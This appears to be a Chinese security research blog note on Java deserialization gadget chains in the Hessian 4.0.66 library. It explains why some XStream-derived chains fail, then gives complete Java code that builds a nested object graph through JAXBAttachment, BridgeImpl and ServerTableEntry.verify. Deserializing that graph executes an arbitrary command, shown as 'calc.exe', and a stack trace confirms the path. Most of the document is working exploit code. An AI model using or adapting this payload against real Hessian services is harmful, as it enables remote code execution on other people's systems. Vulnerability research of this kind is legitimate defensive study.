前言

学习!


环境搭建

只需要一个Hessian依赖:

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.66</version>
</dependency>

序列化和反序列化使用Hessian2:

public static byte[] serialize(Object o) {
    byte[] bytes = null;
    try {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Hessian2Output ho = new Hessian2Output(bos);
        ho.getSerializerFactory().setAllowNonSerializable(true);
        ho.writeObject(o);
        ho.flushBuffer();
        bytes = bos.toByteArray();
    }catch (Exception e) {
        e.printStackTrace();
    }
    return bytes;
}

public static Object unserialize(byte[] bytes) {
    Object o = null;
    try {
        ByteArrayInputStream is = new ByteArrayInputStream(bytes);
        Hessian2Input hi = new Hessian2Input(is);
        o = hi.readObject();
    }catch (Exception e) {
        e.printStackTrace();
    }
    return o;
}

Hessian可以理解为存在类型限制(如Map和Iterator等类型在反序列化时可能受到限制)且不要求可序列化的反序列化,可以类比Xstream和Fastjson。

Xstream ContainsFilter利用链

ContainsFilter只有从FilterIterator来的调用方式,然而Hessian在反序列化Iterator时使用的是IteratorDeserializer,其readList函数如下:

ArrayList list = new ArrayList();

in.addRef(list);

while (! in.isEnd())
    list.add(in.readObject());

in.readEnd();

return list.iterator();

类型被限定为了ArrayList,无法正常反序列化Iterator类。

而且ContainsFilter继承自ServiceRegistry.Filter,该接口下的filter函数需要一个参数,也无法通过AnnotationInvocationHandler调用。

XStream InitialContext

貌似有一个以MultiUIDefaults为入口的利用链:

XString#equal->
    MultiUIDefaults#toString->
        UIDefaults#get->
            UIDefaults#getFromHashTable->
                UIDefaults$LazyValue#createValue->
                    SwingLazyValue#createValue->
                        InitialContext#doLookup()

看起来是JNDI注入,不怎么有趣。这条链因为MultiUIDefaults继承自Map,虽然它有public的无参构造函数,但是因为MapDeserializer实例化时用的是constructor + newInstance()的方式而不是一般类所用的_unsafe.allocateInstance(_type),所以MultiUIDefaults就会因为不是public类而无法实例化。

ServerTableEntry + GetterSetterReflection

按正常反序列化流程会从RequestContext开始,然而它是一个Map,而且没有无参构造函数,于是就被Hessian鲨了。

Constructor<?> []ctors = type.getConstructors();
for (int i = 0; i < ctors.length; i++) {
    if (ctors[i].getParameterTypes().length == 0)
    _ctor = ctors[i];
}

if (_ctor == null) {
    try {
    _ctor = HashMap.class.getConstructor(new Class[0]);
    } catch (Exception e) {
    throw new IllegalStateException(e);
    }
}

MapDeserializer只要public的无参构造函数,不然把Map全都给你整成HashMap。

找找还有什么地方调用了JAXBAttachment.asInputStream,找到了同类下的getInputStream函数:

public InputStream getInputStream() throws IOException {
    return this.asInputStream();
}

再往上一找,会发现Base64Data.get:

    public byte[] get() {
    if (this.data == null) {
        try {
            ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
            InputStream is = this.dataHandler.getDataSource().getInputStream();
            baos.readFrom(is);
            is.close();
            this.data = baos.getBuffer();
            this.dataLen = baos.size();
        } catch (IOException var3) {
            this.dataLen = 0;
        }
    }

    return this.data;
    }

非常眼熟,这不就是Xstream反序列化漏洞中用到过的类吗,简单测试一下:

JAXBAttachment jaxbAttachment = new JAXBAttachment(null, null, null, null);

DataHandler dataHandler = new DataHandler(jaxbAttachment);

Base64Data base64Data = new Base64Data();
Utils.setField(base64Data, "dataHandler", dataHandler);

Object nativeString = Utils.createWithoutConstructor("jdk.nashorn.internal.objects.NativeString");
Utils.setField(nativeString, "value", base64Data);

Map<Object, Object> map = new HashMap<>();
map.put(1, 1);
Object[] table = (Object[])Utils.getFieldValue(map, "table");
Utils.setField(table[1], "key", nativeString);

byte[] bytes = serialize(map);
Object o = unserialize(bytes);

发现在反序列化过程中正常走到了JAXBAttachment.writeTo函数:

java.lang.NullPointerException
    at com.sun.xml.internal.ws.message.JAXBAttachment.writeTo(JAXBAttachment.java:109)
    at com.sun.xml.internal.ws.message.JAXBAttachment.asInputStream(JAXBAttachment.java:99)
    at com.sun.xml.internal.ws.message.JAXBAttachment.getInputStream(JAXBAttachment.java:125)
    at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get(Base64Data.java:181)
    at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString(Base64Data.java:286)
    at jdk.nashorn.internal.objects.NativeString.getStringValue(NativeString.java:121)
    at jdk.nashorn.internal.objects.NativeString.hashCode(NativeString.java:117)
    at java.util.HashMap.hash(HashMap.java:341)
    at java.util.HashMap.put(HashMap.java:614)
    at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
    at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
    at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
    at org.example.App.unserialize(App.java:63)
    at org.example.App.main(App.java:38)

继续构造,BridgeImpl类的构造比较麻烦,下一步的MarshallerImpl对象要从其父类Bridge的marshal函数中获得,调用链比较复杂:

Marshaller m = (Marshaller)this.context.marshallerPool.take();

marshallerPool.take是一个抽象类Impl中定义的函数:

public final T take() {
    T t = this.getQueue().poll();
    return t == null ? this.create() : t;
}

private ConcurrentLinkedQueue<T> getQueue() {
    WeakReference<ConcurrentLinkedQueue<T>> q = this.queue;
    ConcurrentLinkedQueue d;
    if (q != null) {
        d = (ConcurrentLinkedQueue)q.get();
        if (d != null) {
            return d;
        }
    }

    d = new ConcurrentLinkedQueue();
    this.queue = new WeakReference(d);
    return d;
}

需要构造一个包含ConcurrentLinkedQueue的WeakReference,WeakReference类的get函数很好控制:

public T get() {
    return this.referent;
}

而这个抽象类Impl最后被实例化为了匿名类:

this.marshallerPool = new Impl<Marshaller>() {
    @NotNull
    protected Marshaller create() {
        return JAXBContextImpl.this.createMarshaller();
    }
};

此外的问题也比较多,一步步调试最后构造出对象:

JAXBContextImpl.JAXBContextBuilder jAXBContextBuilder = new com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.JAXBContextBuilder();
jAXBContextBuilder.setClasses(new Class[]{});
Object jaxbContext = jAXBContextBuilder.build();

Object marshaller = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.MarshallerImpl");
Utils.setField(marshaller, "encoding", "UTF-8");
Utils.setField(marshaller, "context", jaxbContext);
Constructor<?> c = XMLSerializer.class.getDeclaredConstructors()[0];
c.setAccessible(true);
Object xmlSerializer = c.newInstance(marshaller);
Utils.setField(marshaller, "serializer", xmlSerializer);

ConcurrentLinkedQueue concurrentLinkedQueue = new ConcurrentLinkedQueue();
concurrentLinkedQueue.add(marshaller);
WeakReference weakReference = new WeakReference(concurrentLinkedQueue);
Object marshallerPool = Utils.getFieldValue(jaxbContext, "marshallerPool");
Utils.setField(marshallerPool, "queue", weakReference);

Method verify = ServerTableEntry.class.getMethod("verify");
Accessor.GetterSetterReflection getterSetterReflection = new Accessor.GetterSetterReflection(verify, null);

Object classBeanInfo = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl");
Utils.setField(classBeanInfo, "jaxbType", ServerTableEntry.class);
Utils.setField(classBeanInfo, "uriProperties", new Property[]{});
Utils.setField(classBeanInfo, "inheritedAttWildcard", getterSetterReflection);

Object bridgeImpl = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.BridgeImpl");
Utils.setField(bridgeImpl, "context", jaxbContext);
Utils.setField(bridgeImpl, "bi", classBeanInfo);

BridgeWrapper bridgeWrapper = new BridgeWrapper(null, null);
Utils.setField(bridgeWrapper, "bridge", bridgeImpl);

Object serverTableEntry = Utils.createWithoutConstructor("com.sun.corba.se.impl.activation.ServerTableEntry");
Utils.setField(serverTableEntry, "activationCmd", "calc.exe");
JAXBAttachment jaxbAttachment = new JAXBAttachment(null, serverTableEntry, bridgeWrapper, null);

DataHandler dataHandler = new DataHandler(jaxbAttachment);

Base64Data base64Data = new Base64Data();
Utils.setField(base64Data, "dataHandler", dataHandler);

Object nativeString = Utils.createWithoutConstructor("jdk.nashorn.internal.objects.NativeString");
Utils.setField(nativeString, "value", base64Data);

Map<Object, Object> map = new HashMap<>();
map.put(1, 1);
Object[] table = (Object[])Utils.getFieldValue(map, "table");
Utils.setField(table[1], "key", nativeString);
unserialize(serialize(map));

可以在反序列化时触发Runtime命令执行。


参考文章